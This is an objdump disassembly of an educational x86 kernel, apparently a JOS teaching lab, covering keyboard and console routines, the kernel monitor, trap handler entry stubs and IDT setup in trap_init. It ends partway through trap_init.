f010097d: 0f b6 c9 movzbl %cl,%ecx
f0100980: 8a 81 80 2c 10 f0 mov -0xfefd380(%ecx),%al
f0100986: 83 c8 40 or $0x40,%eax
f0100989: 0f b6 c0 movzbl %al,%eax
f010098c: f7 d0 not %eax
f010098e: 21 d8 and %ebx,%eax
f0100990: a3 80 f9 11 f0 mov %eax,0xf011f980
f0100995: 31 db xor %ebx,%ebx
f0100997: e9 83 00 00 00 jmp f0100a1f <kbd_proc_data+0xdf>
f010099c: f6 c3 40 test $0x40,%bl
f010099f: 74 0d je f01009ae <kbd_proc_data+0x6e>
f01009a1: 89 d8 mov %ebx,%eax
f01009a3: 83 c9 80 or $0xffffff80,%ecx
f01009a6: 83 e0 bf and $0xffffffbf,%eax
f01009a9: a3 80 f9 11 f0 mov %eax,0xf011f980
f01009ae: 0f b6 c9 movzbl %cl,%ecx
f01009b1: 0f b6 81 80 2c 10 f0 movzbl -0xfefd380(%ecx),%eax
f01009b8: 0f b6 91 80 2b 10 f0 movzbl -0xfefd480(%ecx),%edx
f01009bf: 0b 05 80 f9 11 f0 or 0xf011f980,%eax
f01009c5: 31 d0 xor %edx,%eax
f01009c7: 89 c2 mov %eax,%edx
f01009c9: a3 80 f9 11 f0 mov %eax,0xf011f980
f01009ce: 83 e2 03 and $0x3,%edx
f01009d1: a8 08 test $0x8,%al
f01009d3: 8b 14 95 40 2b 10 f0 mov -0xfefd4c0(,%edx,4),%edx
f01009da: 0f b6 1c 0a movzbl (%edx,%ecx,1),%ebx
f01009de: 74 19 je f01009f9 <kbd_proc_data+0xb9>
f01009e0: 8d 53 9f lea -0x61(%ebx),%edx
f01009e3: 83 fa 19 cmp $0x19,%edx
f01009e6: 77 05 ja f01009ed <kbd_proc_data+0xad>
f01009e8: 83 eb 20 sub $0x20,%ebx
f01009eb: eb 0c jmp f01009f9 <kbd_proc_data+0xb9>
f01009ed: 8d 4b bf lea -0x41(%ebx),%ecx
f01009f0: 8d 53 20 lea 0x20(%ebx),%edx
f01009f3: 83 f9 19 cmp $0x19,%ecx
f01009f6: 0f 46 da cmovbe %edx,%ebx
f01009f9: 81 fb e9 00 00 00 cmp $0xe9,%ebx
f01009ff: 75 1e jne f0100a1f <kbd_proc_data+0xdf>
f0100a01: f7 d0 not %eax
f0100a03: a8 06 test $0x6,%al
f0100a05: 75 18 jne f0100a1f <kbd_proc_data+0xdf>
f0100a07: 83 ec 0c sub $0xc,%esp
f0100a0a: 68 ff 2a 10 f0 push $0xf0102aff
f0100a0f: e8 09 ff ff ff call f010091d <printstr>
f0100a14: ba 92 00 00 00 mov $0x92,%edx
f0100a19: b0 03 mov $0x3,%al
f0100a1b: ee out %al,(%dx)
f0100a1c: 83 c4 10 add $0x10,%esp
f0100a1f: 89 d8 mov %ebx,%eax
f0100a21: 8b 5d fc mov -0x4(%ebp),%ebx
f0100a24: c9 leave
f0100a25: c3 ret
f0100a26 <kbd_intr>:
f0100a26: 55 push %ebp
f0100a27: b8 40 09 10 f0 mov $0xf0100940,%eax
f0100a2c: 89 e5 mov %esp,%ebp
f0100a2e: 5d pop %ebp
f0100a2f: e9 25 fc ff ff jmp f0100659 <cons_intr>
f0100a34 <cons_getc>:
f0100a34: 55 push %ebp
f0100a35: 89 e5 mov %esp,%ebp
f0100a37: 83 ec 08 sub $0x8,%esp
f0100a3a: e8 fd fd ff ff call f010083c <serial_intr>
f0100a3f: e8 e2 ff ff ff call f0100a26 <kbd_intr>
f0100a44: 8b 15 c0 fb 11 f0 mov 0xf011fbc0,%edx
f0100a4a: 31 c0 xor %eax,%eax
f0100a4c: 3b 15 c4 fb 11 f0 cmp 0xf011fbc4,%edx
f0100a52: 74 22 je f0100a76 <cons_getc+0x42>
f0100a54: 8d 4a 01 lea 0x1(%edx),%ecx
f0100a57: 0f b6 82 c0 f9 11 f0 movzbl -0xfee0640(%edx),%eax
f0100a5e: 81 f9 00 02 00 00 cmp $0x200,%ecx
f0100a64: 89 0d c0 fb 11 f0 mov %ecx,0xf011fbc0
f0100a6a: 75 0a jne f0100a76 <cons_getc+0x42>
f0100a6c: c7 05 c0 fb 11 f0 00 movl $0x0,0xf011fbc0
f0100a73: 00 00 00
f0100a76: c9 leave
f0100a77: c3 ret
f0100a78 <cputchar>:
f0100a78: 55 push %ebp
f0100a79: 89 e5 mov %esp,%ebp
f0100a7b: 8b 45 08 mov 0x8(%ebp),%eax
f0100a7e: 5d pop %ebp
f0100a7f: e9 14 fc ff ff jmp f0100698 <cons_putc>
f0100a84 <getchar>:
f0100a84: 55 push %ebp
f0100a85: 89 e5 mov %esp,%ebp
f0100a87: 83 ec 08 sub $0x8,%esp
f0100a8a: e8 a5 ff ff ff call f0100a34 <cons_getc>
f0100a8f: 85 c0 test %eax,%eax
f0100a91: 74 f7 je f0100a8a <getchar+0x6>
f0100a93: c9 leave
f0100a94: c3 ret
f0100a95 <iscons>:
f0100a95: 55 push %ebp
f0100a96: b8 01 00 00 00 mov $0x1,%eax
f0100a9b: 89 e5 mov %esp,%ebp
f0100a9d: 5d pop %ebp
f0100a9e: c3 ret
f0100a9f <mon_help>:
f0100a9f: 55 push %ebp
f0100aa0: 89 e5 mov %esp,%ebp
f0100aa2: 83 ec 0c sub $0xc,%esp
f0100aa5: 68 80 2d 10 f0 push $0xf0102d80
f0100aaa: 68 9e 2d 10 f0 push $0xf0102d9e
f0100aaf: 68 a3 2d 10 f0 push $0xf0102da3
f0100ab4: e8 ad 19 00 00 call f0102466 <cprintf>
f0100ab9: 83 c4 0c add $0xc,%esp
f0100abc: 68 ac 2d 10 f0 push $0xf0102dac
f0100ac1: 68 d1 2d 10 f0 push $0xf0102dd1
f0100ac6: 68 a3 2d 10 f0 push $0xf0102da3
f0100acb: e8 96 19 00 00 call f0102466 <cprintf>
f0100ad0: 31 c0 xor %eax,%eax
f0100ad2: c9 leave
f0100ad3: c3 ret
f0100ad4 <mon_kerninfo>:
f0100ad4: 55 push %ebp
f0100ad5: 89 e5 mov %esp,%ebp
f0100ad7: 83 ec 14 sub $0x14,%esp
f0100ada: 68 da 2d 10 f0 push $0xf0102dda
f0100adf: e8 82 19 00 00 call f0102466 <cprintf>
f0100ae4: 58 pop %eax
f0100ae5: 5a pop %edx
f0100ae6: 68 0c 00 10 00 push $0x10000c
f0100aeb: 68 f3 2d 10 f0 push $0xf0102df3
f0100af0: e8 71 19 00 00 call f0102466 <cprintf>
f0100af5: 83 c4 0c add $0xc,%esp
f0100af8: 68 0c 00 10 00 push $0x10000c
f0100afd: 68 0c 00 10 f0 push $0xf010000c
f0100b02: 68 1a 2e 10 f0 push $0xf0102e1a
f0100b07: e8 5a 19 00 00 call f0102466 <cprintf>
f0100b0c: 83 c4 0c add $0xc,%esp
f0100b0f: 68 5a 2a 10 00 push $0x102a5a
f0100b14: 68 5a 2a 10 f0 push $0xf0102a5a
f0100b19: 68 3d 2e 10 f0 push $0xf0102e3d
f0100b1e: e8 43 19 00 00 call f0102466 <cprintf>
f0100b23: 83 c4 0c add $0xc,%esp
f0100b26: 68 28 f9 11 00 push $0x11f928
f0100b2b: 68 28 f9 11 f0 push $0xf011f928
f0100b30: 68 60 2e 10 f0 push $0xf0102e60
f0100b35: e8 2c 19 00 00 call f0102466 <cprintf>
f0100b3a: 83 c4 0c add $0xc,%esp
f0100b3d: 68 d0 08 12 00 push $0x1208d0
f0100b42: 68 d0 08 12 f0 push $0xf01208d0
f0100b47: 68 83 2e 10 f0 push $0xf0102e83
f0100b4c: e8 15 19 00 00 call f0102466 <cprintf>
f0100b51: b8 cf 0c 12 f0 mov $0xf0120ccf,%eax
f0100b56: 2d 0c 00 10 f0 sub $0xf010000c,%eax
f0100b5b: 25 00 fc ff ff and $0xfffffc00,%eax
f0100b60: 59 pop %ecx
f0100b61: b9 00 04 00 00 mov $0x400,%ecx
f0100b66: 5a pop %edx
f0100b67: 99 cltd
f0100b68: f7 f9 idiv %ecx
f0100b6a: 50 push %eax
f0100b6b: 68 a6 2e 10 f0 push $0xf0102ea6
f0100b70: e8 f1 18 00 00 call f0102466 <cprintf>
f0100b75: 31 c0 xor %eax,%eax
f0100b77: c9 leave
f0100b78: c3 ret
f0100b79 <monitor>:
f0100b79: 55 push %ebp
f0100b7a: 89 e5 mov %esp,%ebp
f0100b7c: 57 push %edi
f0100b7d: 56 push %esi
f0100b7e: 53 push %ebx
f0100b7f: 8d 75 a8 lea -0x58(%ebp),%esi
f0100b82: 83 ec 68 sub $0x68,%esp
f0100b85: 68 d0 2e 10 f0 push $0xf0102ed0
f0100b8a: e8 d7 18 00 00 call f0102466 <cprintf>
f0100b8f: c7 04 24 f7 2e 10 f0 movl $0xf0102ef7,(%esp)
f0100b96: e8 cb 18 00 00 call f0102466 <cprintf>
f0100b9b: 83 c4 10 add $0x10,%esp
f0100b9e: 83 ec 0c sub $0xc,%esp
f0100ba1: 68 1c 2f 10 f0 push $0xf0102f1c
f0100ba6: e8 54 19 00 00 call f01024ff <readline>
f0100bab: 83 c4 10 add $0x10,%esp
f0100bae: 85 c0 test %eax,%eax
f0100bb0: 89 c3 mov %eax,%ebx
f0100bb2: 74 ea je f0100b9e <monitor+0x25>
f0100bb4: c7 45 a8 00 00 00 00 movl $0x0,-0x58(%ebp)
f0100bbb: 31 ff xor %edi,%edi
f0100bbd: 0f be 03 movsbl (%ebx),%eax
f0100bc0: 84 c0 test %al,%al
f0100bc2: 75 07 jne f0100bcb <monitor+0x52>
f0100bc4: 80 3b 00 cmpb $0x0,(%ebx)
f0100bc7: 75 20 jne f0100be9 <monitor+0x70>
f0100bc9: eb 5c jmp f0100c27 <monitor+0xae>
f0100bcb: 52 push %edx
f0100bcc: 52 push %edx
f0100bcd: 50 push %eax
f0100bce: 68 20 2f 10 f0 push $0xf0102f20
f0100bd3: e8 de 1b 00 00 call f01027b6 <strchr>
f0100bd8: 83 c4 10 add $0x10,%esp
f0100bdb: 85 c0 test %eax,%eax
f0100bdd: 74 e5 je f0100bc4 <monitor+0x4b>
f0100bdf: c6 03 00 movb $0x0,(%ebx)
f0100be2: 89 fa mov %edi,%edx
f0100be4: 43 inc %ebx
f0100be5: 89 d7 mov %edx,%edi
f0100be7: eb d4 jmp f0100bbd <monitor+0x44>
f0100be9: 83 ff 0f cmp $0xf,%edi
f0100bec: 75 0e jne f0100bfc <monitor+0x83>
f0100bee: 51 push %ecx
f0100bef: 51 push %ecx
f0100bf0: 6a 10 push $0x10
f0100bf2: 68 25 2f 10 f0 push $0xf0102f25
f0100bf7: e9 9a 00 00 00 jmp f0100c96 <monitor+0x11d>
f0100bfc: 8d 57 01 lea 0x1(%edi),%edx
f0100bff: 89 5c bd a8 mov %ebx,-0x58(%ebp,%edi,4)
f0100c03: 0f be 03 movsbl (%ebx),%eax
f0100c06: 84 c0 test %al,%al
f0100c08: 74 db je f0100be5 <monitor+0x6c>
f0100c0a: 89 55 a4 mov %edx,-0x5c(%ebp)
f0100c0d: 52 push %edx
f0100c0e: 52 push %edx
f0100c0f: 50 push %eax
f0100c10: 68 20 2f 10 f0 push $0xf0102f20
f0100c15: e8 9c 1b 00 00 call f01027b6 <strchr>
f0100c1a: 83 c4 10 add $0x10,%esp
f0100c1d: 85 c0 test %eax,%eax
f0100c1f: 8b 55 a4 mov -0x5c(%ebp),%edx
f0100c22: 75 c1 jne f0100be5 <monitor+0x6c>
f0100c24: 43 inc %ebx
f0100c25: eb dc jmp f0100c03 <monitor+0x8a>
f0100c27: 85 ff test %edi,%edi
f0100c29: c7 44 bd a8 00 00 00 movl $0x0,-0x58(%ebp,%edi,4)
f0100c30: 00
f0100c31: 0f 84 67 ff ff ff je f0100b9e <monitor+0x25>
f0100c37: 50 push %eax
f0100c38: 50 push %eax
f0100c39: 68 9e 2d 10 f0 push $0xf0102d9e
f0100c3e: ff 75 a8 pushl -0x58(%ebp)
f0100c41: e8 ec 1a 00 00 call f0102732 <strcmp>
f0100c46: 83 c4 10 add $0x10,%esp
f0100c49: 31 d2 xor %edx,%edx
f0100c4b: 85 c0 test %eax,%eax
f0100c4d: 74 1b je f0100c6a <monitor+0xf1>
f0100c4f: 53 push %ebx
f0100c50: 53 push %ebx
f0100c51: 68 d1 2d 10 f0 push $0xf0102dd1
f0100c56: ff 75 a8 pushl -0x58(%ebp)
f0100c59: e8 d4 1a 00 00 call f0102732 <strcmp>
f0100c5e: 83 c4 10 add $0x10,%esp
f0100c61: 85 c0 test %eax,%eax
f0100c63: 75 27 jne f0100c8c <monitor+0x113>
f0100c65: ba 01 00 00 00 mov $0x1,%edx
f0100c6a: 6b d2 0c imul $0xc,%edx,%edx
f0100c6d: 51 push %ecx
f0100c6e: ff 75 08 pushl 0x8(%ebp)
f0100c71: 56 push %esi
f0100c72: 57 push %edi
f0100c73: ff 92 60 2f 10 f0 call *-0xfefd0a0(%edx)
f0100c79: 83 c4 10 add $0x10,%esp
f0100c7c: 85 c0 test %eax,%eax
f0100c7e: 0f 89 1a ff ff ff jns f0100b9e <monitor+0x25>
f0100c84: 8d 65 f4 lea -0xc(%ebp),%esp
f0100c87: 5b pop %ebx
f0100c88: 5e pop %esi
f0100c89: 5f pop %edi
f0100c8a: 5d pop %ebp
f0100c8b: c3 ret
f0100c8c: 50 push %eax
f0100c8d: 50 push %eax
f0100c8e: ff 75 a8 pushl -0x58(%ebp)
f0100c91: 68 42 2f 10 f0 push $0xf0102f42
f0100c96: e8 cb 17 00 00 call f0102466 <cprintf>
f0100c9b: 83 c4 10 add $0x10,%esp
f0100c9e: e9 fb fe ff ff jmp f0100b9e <monitor+0x25>
f0100ca3: 90 nop
f0100ca4 <trap_handle0>:
.text
/*
* Lab 3: Your code here for generating entry points for the different traps.
*/
TRAPHANDLER_NOEC(trap_handle0, 0)
f0100ca4: 6a 00 push $0x0
f0100ca6: 6a 00 push $0x0
f0100ca8: eb 64 jmp f0100d0e <_alltraps>
f0100caa <trap_handle1>:
TRAPHANDLER_NOEC(trap_handle1, 1)
f0100caa: 6a 00 push $0x0
f0100cac: 6a 01 push $0x1
f0100cae: eb 5e jmp f0100d0e <_alltraps>
f0100cb0 <trap_handle2>:
TRAPHANDLER_NOEC(trap_handle2, 2)
f0100cb0: 6a 00 push $0x0
f0100cb2: 6a 02 push $0x2
f0100cb4: eb 58 jmp f0100d0e <_alltraps>
f0100cb6 <trap_handle3>:
TRAPHANDLER_NOEC(trap_handle3, 3)
f0100cb6: 6a 00 push $0x0
f0100cb8: 6a 03 push $0x3
f0100cba: eb 52 jmp f0100d0e <_alltraps>
f0100cbc <trap_handle4>:
TRAPHANDLER_NOEC(trap_handle4, 4)
f0100cbc: 6a 00 push $0x0
f0100cbe: 6a 04 push $0x4
f0100cc0: eb 4c jmp f0100d0e <_alltraps>
f0100cc2 <trap_handle5>:
TRAPHANDLER_NOEC(trap_handle5, 5)
f0100cc2: 6a 00 push $0x0
f0100cc4: 6a 05 push $0x5
f0100cc6: eb 46 jmp f0100d0e <_alltraps>
f0100cc8 <trap_handle6>:
TRAPHANDLER_NOEC(trap_handle6, 6)
f0100cc8: 6a 00 push $0x0
f0100cca: 6a 06 push $0x6
f0100ccc: eb 40 jmp f0100d0e <_alltraps>
f0100cce <trap_handle7>:
TRAPHANDLER_NOEC(trap_handle7, 7)
f0100cce: 6a 00 push $0x0
f0100cd0: 6a 07 push $0x7
f0100cd2: eb 3a jmp f0100d0e <_alltraps>
f0100cd4 <trap_handle8>:
TRAPHANDLER(trap_handle8, 8)
f0100cd4: 6a 08 push $0x8
f0100cd6: eb 36 jmp f0100d0e <_alltraps>
f0100cd8 <trap_handle10>:
TRAPHANDLER(trap_handle10, 10)
f0100cd8: 6a 0a push $0xa
f0100cda: eb 32 jmp f0100d0e <_alltraps>
f0100cdc <trap_handle11>:
TRAPHANDLER(trap_handle11, 11)
f0100cdc: 6a 0b push $0xb
f0100cde: eb 2e jmp f0100d0e <_alltraps>
f0100ce0 <trap_handle12>:
TRAPHANDLER(trap_handle12, 12)
f0100ce0: 6a 0c push $0xc
f0100ce2: eb 2a jmp f0100d0e <_alltraps>
f0100ce4 <trap_handle13>:
TRAPHANDLER(trap_handle13, 13)
f0100ce4: 6a 0d push $0xd
f0100ce6: eb 26 jmp f0100d0e <_alltraps>
f0100ce8 <trap_handle14>:
TRAPHANDLER(trap_handle14, 14)
f0100ce8: 6a 0e push $0xe
f0100cea: eb 22 jmp f0100d0e <_alltraps>
f0100cec <trap_handle16>:
TRAPHANDLER_NOEC(trap_handle16, 16)
f0100cec: 6a 00 push $0x0
f0100cee: 6a 10 push $0x10
f0100cf0: eb 1c jmp f0100d0e <_alltraps>
f0100cf2 <trap_handle17>:
TRAPHANDLER(trap_handle17, 17)
f0100cf2: 6a 11 push $0x11
f0100cf4: eb 18 jmp f0100d0e <_alltraps>
f0100cf6 <trap_handle18>:
TRAPHANDLER_NOEC(trap_handle18, 18)
f0100cf6: 6a 00 push $0x0
f0100cf8: 6a 12 push $0x12
f0100cfa: eb 12 jmp f0100d0e <_alltraps>
f0100cfc <trap_handle19>:
TRAPHANDLER_NOEC(trap_handle19, 19)
f0100cfc: 6a 00 push $0x0
f0100cfe: 6a 13 push $0x13
f0100d00: eb 0c jmp f0100d0e <_alltraps>
f0100d02 <trap_handle_syscall>:
TRAPHANDLER_NOEC(trap_handle_syscall, T_SYSCALL)
f0100d02: 6a 00 push $0x0
f0100d04: 6a 30 push $0x30
f0100d06: eb 06 jmp f0100d0e <_alltraps>
f0100d08 <trap_handle_timer>:
TRAPHANDLER_NOEC(trap_handle_timer, IRQ_OFFSET + IRQ_TIMER)
f0100d08: 6a 00 push $0x0
f0100d0a: 6a 20 push $0x20
f0100d0c: eb 00 jmp f0100d0e <_alltraps>
f0100d0e <_alltraps>:
_alltraps:
pushl %ds
f0100d0e: 1e push %ds
pushl %es
f0100d0f: 06 push %es
pushal
f0100d10: 60 pusha
movw $(GD_KD), %ax
f0100d11: 66 b8 10 00 mov $0x10,%ax
movw %ax, %ds
f0100d15: 8e d8 mov %eax,%ds
movw %ax, %es
f0100d17: 8e c0 mov %eax,%es
pushl %esp
f0100d19: 54 push %esp
call trap
f0100d1a: e8 ac 0a 00 00 call f01017cb <trap>
f0100d1f <trap_init_percpu>:
f0100d1f: b8 40 04 12 f0 mov $0xf0120440,%eax
f0100d24: 55 push %ebp
f0100d25: c7 05 44 04 12 f0 00 movl $0xf0000000,0xf0120444
f0100d2c: 00 00 f0
f0100d2f: 89 c2 mov %eax,%edx
f0100d31: 66 a3 7a e3 10 f0 mov %ax,0xf010e37a
f0100d37: c1 e8 18 shr $0x18,%eax
f0100d3a: c1 ea 10 shr $0x10,%edx
f0100d3d: a2 7f e3 10 f0 mov %al,0xf010e37f
f0100d42: 89 e5 mov %esp,%ebp
f0100d44: 66 c7 05 48 04 12 f0 movw $0x10,0xf0120448
f0100d4b: 10 00
f0100d4d: 66 c7 05 78 e3 10 f0 movw $0x68,0xf010e378
f0100d54: 68 00
f0100d56: b8 28 00 00 00 mov $0x28,%eax
f0100d5b: 88 15 7c e3 10 f0 mov %dl,0xf010e37c
f0100d61: c6 05 7e e3 10 f0 40 movb $0x40,0xf010e37e
f0100d68: c6 05 7d e3 10 f0 89 movb $0x89,0xf010e37d
f0100d6f: 0f 00 d8 ltr %ax
f0100d72: b8 40 e3 10 f0 mov $0xf010e340,%eax
f0100d77: 0f 01 18 lidtl (%eax)
f0100d7a: 5d pop %ebp
f0100d7b: c3 ret
f0100d7c <trap_init>:
f0100d7c: b8 a4 0c 10 f0 mov $0xf0100ca4,%eax
f0100d81: 55 push %ebp
f0100d82: 66 c7 05 02 fc 11 f0 movw $0x8,0xf011fc02
f0100d89: 08 00
f0100d8b: 66 a3 00 fc 11 f0 mov %ax,0xf011fc00
f0100d91: c1 e8 10 shr $0x10,%eax
f0100d94: c6 05 04 fc 11 f0 00 movb $0x0,0xf011fc04
f0100d9b: 66 a3 06 fc 11 f0 mov %ax,0xf011fc06
f0100da1: b8 aa 0c 10 f0 mov $0xf0100caa,%eax
f0100da6: c6 05 05 fc 11 f0 8e movb $0x8e,0xf011fc05
f0100dad: 66 a3 08 fc 11 f0 mov %ax,0xf011fc08
f0100db3: c1 e8 10 shr $0x10,%eax
f0100db6: 66 c7 05 0a fc 11 f0 movw $0x8,0xf011fc0a
f0100dbd: 08 00
f0100dbf: 66 a3 0e fc 11 f0 mov %ax,0xf011fc0e
f0100dc5: b8 b0 0c 10 f0 mov $0xf0100cb0,%eax
f0100dca: c6 05 0c fc 11 f0 00 movb $0x0,0xf011fc0c
f0100dd1: 66 a3 10 fc 11 f0 mov %ax,0xf011fc10
f0100dd7: c1 e8 10 shr $0x10,%eax
f0100dda: c6 05 0d fc 11 f0 8e movb $0x8e,0xf011fc0d
f0100de1: 66 a3 16 fc 11 f0 mov %ax,0xf011fc16
f0100de7: b8 b6 0c 10 f0 mov $0xf0100cb6,%eax
f0100dec: 66 c7 05 12 fc 11 f0 movw $0x8,0xf011fc12
f0100df3: 08 00
f0100df5: 66 a3 18 fc 11 f0 mov %ax,0xf011fc18
f0100dfb: c1 e8 10 shr $0x10,%eax
f0100dfe: c6 05 14 fc 11 f0 00 movb $0x0,0xf011fc14
f0100e05: 66 a3 1e fc 11 f0 mov %ax,0xf011fc1e
f0100e0b: b8 bc 0c 10 f0 mov $0xf0100cbc,%eax
f0100e10: c6 05 15 fc 11 f0 8e movb $0x8e,0xf011fc15
f0100e17: 66 a3 20 fc 11 f0 mov %ax,0xf011fc20
f0100e1d: c1 e8 10 shr $0x10,%eax
f0100e20: 66 c7 05 1a fc 11 f0 movw $0x8,0xf011fc1a
f0100e27: 08 00
f0100e29: 66 a3 26 fc 11 f0 mov %ax,0xf011fc26
f0100e2f: b8 c2 0c 10 f0 mov $0xf0100cc2,%eax
f0100e34: c6 05 1c fc 11 f0 00 movb $0x0,0xf011fc1c
f0100e3b: 66 a3 28 fc 11 f0 mov %ax,0xf011fc28
f0100e41: c1 e8 10 shr $0x10,%eax
f0100e44: c6 05 1d fc 11 f0 ee movb $0xee,0xf011fc1d
f0100e4b: 66 a3 2e fc 11 f0 mov %ax,0xf011fc2e
f0100e51: b8 c8 0c 10 f0 mov $0xf0100cc8,%eax
f0100e56: 66 c7 05 22 fc 11 f0 movw $0x8,0xf011fc22
f0100e5d: 08 00
f0100e5f: 66 a3 30 fc 11 f0 mov %ax,0xf011fc30
f0100e65: c1 e8 10 shr $0x10,%eax
f0100e68: c6 05 24 fc 11 f0 00 movb $0x0,0xf011fc24
f0100e6f: c6 05 25 fc 11 f0 8e movb $0x8e,0xf011fc25
f0100e76: 66 c7 05 2a fc 11 f0 movw $0x8,0xf011fc2a
f0100e7d: 08 00
f0100e7f: 89 e5 mov %esp,%ebp
f0100e81: c6 05 2c fc 11 f0 00 movb $0x0,0xf011fc2c
f0100e88: c6 05 2d fc 11 f0 8e movb $0x8e,0xf011fc2d
f0100e8f: 66 c7 05 32 fc 11 f0 movw $0x8,0xf011fc32
f0100e96: 08 00
f0100e98: c6 05 34 fc 11 f0 00 movb $0x0,0xf011fc34
f0100e9f: 66 a3 36 fc 11 f0 mov %ax,0xf011fc36
f0100ea5: b8 ce 0c 10 f0 mov $0xf0100cce,%eax
f0100eaa: c6 05 35 fc 11 f0 8e movb $0x8e,0xf011fc35
f0100eb1: 66 a3 38 fc 11 f0 mov %ax,0xf011fc38
f0100eb7: c1 e8 10 shr $0x10,%eax
f0100eba: 66 c7 05 3a fc 11 f0 movw $0x8,0xf011fc3a
f0100ec1: 08 00
f0100ec3: 66 a3 3e fc 11 f0 mov %ax,0xf011fc3e
f0100ec9: b8 d4 0c 10 f0 mov $0xf0100cd4,%eax
f0100ece: c6 05 3c fc 11 f0 00 movb $0x0,0xf011fc3c
f0100ed5: 66 a3 40 fc 11 f0 mov %ax,0xf011fc40
f0100edb: c1 e8 10 shr $0x10,%eax
f0100ede: c6 05 3d fc 11 f0 8e movb $0x8e,0xf011fc3d
f0100ee5: 66 a3 46 fc 11 f0 mov %ax,0xf011fc46
f0100eeb: b8 d8 0c 10 f0 mov $0xf0100cd8,%eax
f0100ef0: 66 c7 05 42 fc 11 f0 movw $0x8,0xf011fc42
f0100ef7: 08 00
f0100ef9: 66 a3 50 fc 11 f0 mov %ax,0xf011fc50
f0100eff: c1 e8 10 shr $0x10,%eax
f0100f02: c6 05 44 fc 11 f0 00 movb $0x0,0xf011fc44
f0100f09: 66 a3 56 fc 11 f0 mov %ax,0xf011fc56
f0100f0f: b8 dc 0c 10 f0 mov $0xf0100cdc,%eax
f0100f14: c6 05 45 fc 11 f0 8e movb $0x8e,0xf011fc45
f0100f1b: 66 a3 58 fc 11 f0 mov %ax,0xf011fc58
f0100f21: c1 e8 10 shr $0x10,%eax
f0100f24: 66 c7 05 52 fc 11 f0 movw $0x8,0xf011fc52
f0100f2b: 08 00
f0100f2d: 66 a3 5e fc 11 f0 mov %ax,0xf011fc5e
f0100f33: b8 e0 0c 10 f0 mov $0xf0100ce0,%eax
f0100f38: c6 05 54 fc 11 f0 00 movb $0x0,0xf011fc54
f0100f3f: 66 a3 60 fc 11 f0 mov %ax,0xf011fc60
f0100f45: c1 e8 10 shr $0x10,%eax
f0100f48: c6 05 55 fc 11 f0 8e movb $0x8e,0xf011fc55
f0100f4f: 66 a3 66 fc 11 f0 mov %ax,0xf011fc66
f0100f55: b8 e4 0c 10 f0 mov $0xf0100ce4,%eax
f0100f5a: 66 c7 05 5a fc 11 f0 movw $0x8,0xf011fc5a
f0100f61: 08 00
f0100f63: 66 a3 68 fc 11 f0 mov %ax,0xf011fc68
f0100f69: c1 e8 10 shr $0x10,%eax
f0100f6c: c6 05 5c fc 11 f0 00 movb $0x0,0xf011fc5c
f0100f73: 66 a3 6e fc 11 f0 mov %ax,0xf011fc6e
f0100f79: b8 e8 0c 10 f0 mov $0xf0100ce8,%eax
f0100f7e: c6 05 5d fc 11 f0 8e movb $0x8e,0xf011fc5d
f0100f85: 66 a3 70 fc 11 f0 mov %ax,0xf011fc70
f0100f8b: c1 e8 10 shr $0x10,%eax
f0100f8e: 66 c7 05 62 fc 11 f0 movw $0x8,0xf011fc62
f0100f95: 08 00
f0100f97: c6 05 64 fc 11 f0 00 movb $0x0,0xf011fc64
f0100f9e: c6 05 65 fc 11 f0 8e movb $0x8e,0xf011fc65
f0100fa5: 66 c7 05 6a fc 11 f0 movw $0x8,0xf011fc6a
f0100fac: 08 00
f0100fae: c6 05 6c fc 11 f0 00 movb $0x0,0xf011fc6c
f0100fb5: c6 05 6d fc 11 f0 8e movb $0x8e,0xf011fc6d
f0100fbc: 66 c7 05 72 fc 11 f0 movw $0x8,0xf011fc72
f0100fc3: 08 00
f0100fc5: 66 a3 76 fc 11 f0 mov %ax,0xf011fc76
f0100fcb: b8 ec 0c 10 f0 mov $0xf0100cec,%eax
f0100fd0: c6 05 74 fc 11 f0 00 movb $0x0,0xf011fc74
f0100fd7: 66 a3 80 fc 11 f0 mov %ax,0xf011fc80
f0100fdd: c1 e8 10 shr $0x10,%eax
f0100fe0: c6 05 75 fc 11 f0 8e movb $0x8e,0xf011fc75
f0100fe7: 66 a3 86 fc 11 f0 mov %ax,0xf011fc86
f0100fed: b8 f2 0c 10 f0 mov $0xf0100cf2,%eax
f0100ff2: 66 c7 05 82 fc 11 f0 movw $0x8,0xf011fc82
f0100ff9: 08 00
f0100ffb: 66 a3 88 fc 11 f0 mov %ax,0xf011fc88
f0101001: c1 e8 10 shr $0x10,%eax
f0101004: c6 05 84 fc 11 f0 00 movb $0x0,0xf011fc84
f010100b: 66 a3 8e fc 11 f0 mov %ax,0xf011fc8e
f0101011: b8 f6 0c 10 f0 mov $0xf0100cf6,%eax
f0101016: c6 05 85 fc 11 f0 8e movb $0x8e,0xf011fc85
f010101d: 66 a3 90 fc 11 f0 mov %ax,0xf011fc90
f0101023: c1 e8 10 shr $0x10,%eax
f0101026: 66 c7 05 8a fc 11 f0 movw $0x8,0xf011fc8a
f010102d: 08 00
f010102f: 66 a3 96 fc 11 f0 mov %ax,0xf011fc96
f0101035: b8 fc 0c 10 f0 mov $0xf0100cfc,%eax
f010103a: c6 05 8c fc 11 f0 00 movb $0x0,0xf011fc8c
f0101041: 66 a3 98 fc 11 f0 mov %ax,0xf011fc98
f0101047: c1 e8 10 shr $0x10,%eax
f010104a: c6 05 8d fc 11 f0 8e movb $0x8e,0xf011fc8d
f0101051: 66 a3 9e fc 11 f0 mov %ax,0xf011fc9e
f0101057: b8 02 0d 10 f0 mov $0xf0100d02,%eax
f010105c: 66 c7 05 92 fc 11 f0 movw $0x8,0xf011fc92
f0101063: 08 00
f0101065: 66 a3 80 fd 11 f0 mov %ax,0xf011fd80
f010106b: c1 e8 10 shr $0x10,%eax
f010106e: c6 05 94 fc 11 f0 00 movb $0x0,0xf011fc94
f0101075: 66 a3 86 fd 11 f0 mov %ax,0xf011fd86
f010107b: b8 08 0d 10 f0 mov $0xf0100d08,%eax
f0101080: c6 05 95 fc 11 f0 8e movb $0x8e,0xf011fc95
f0101087: 66 a3 00 fd 11 f0 mov %ax,0xf011fd00
f010108d: c1 e8 10 shr $0x10,%eax
f0101090: 66 c7 05 9a fc 11 f0 movw $0x8,0xf011fc9a
f0101097: 08 00
f0101099: c6 05 9c fc 11 f0 00 movb $0x0,0xf011fc9c
f01010a0: c6 05 9d fc 11 f0 8e movb $0x8e,0xf011fc9d
f01010a7: 66 c7 05 82 fd 11 f0 movw $0x8,0xf011fd82
f01010ae: 08 00
f01010b0: c6 05 84 fd 11 f0 00 movb $0x0,0xf011fd84
f01010b7: c6 05 85 fd 11 f0 ef movb $0xef,0xf011fd85
f01010be: 66 c7 05 02 fd 11 f0 movw $0x8,0xf011fd02
f01010c5: 08 00
